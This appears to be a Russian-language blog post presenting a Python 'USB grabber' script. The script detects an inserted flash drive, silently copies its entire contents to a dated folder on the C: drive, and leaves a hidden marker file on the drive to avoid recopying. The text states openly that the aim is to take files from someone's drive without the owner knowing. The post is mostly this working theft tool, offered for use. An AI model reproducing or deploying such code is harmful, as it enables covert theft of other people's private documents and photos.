Python: Grabber USB

Posted by Nosaer | Posted in

   Скорее всего у любого возникала необходимость скачать с флешки файлы, без ведома ее хозяина. Будь то какие либо фотографии, файлы по учебе или какие либо еще документы, которые вам интересны.
   Принцип программы прост. Определив наличие флешки в системе, создает в корне диска папку с датой и временем начала копирования. Затем копирует абсолютно все файлы, в новый каталог. И создает на носители файл, с названием папки, в которую было произведено копирование, чтобы не скачивать одно и то же несколько раз.
   В последующем надо разобраться с классом QSystemTrayIcon, который позволит выводить сообщение в трее, о завершении копирования.

# -*- coding: utf-8 -*-
import shutil, wmi, datetime, time, glob, os
while 1:
c = wmi.WMI()
for disk in c.Win32_LogicalDisk(DriveType=2): # Находим флешку
udisk = disk.Name
disk = str(udisk)
file = open(disk+"\\stat", "r+") # Открываем файл и читаем его содержимое
st = file.readline() # вдруг мы это уже копировали
file.close()
st = "C:\\"+st
sp = glob.glob("C:\*") # Ищем на С папку что указана в файле
if st in sp: # Если ее нет, то
x = 0
else:
tname = datetime.datetime.now() # Создаем новую, и копируем в нее флешку
tname = str(tname)
tname = tname.replace(":",".") # Заменяем двоеточия на точки
tname = tname[:-7] # Убираем миллисекунды
dir = r"C:\\"+tname
shutil.copytree(disk, dir) # Копируем все дерево
os.system("attrib -s -h "+disk+"\\stat") # Снимаем атрибуты
file = open(disk+"\\stat", "w") # Создаем файл и записываем в него название папки
file.write(tname)
file.close()
os.system("attrib +s +h "+disk+"\\stat") # Ставим атрибуты
time.sleep(180) # Таймаут, что бы была возможность безопасного извлечения флешки



Comments (0)

Отправить комментарий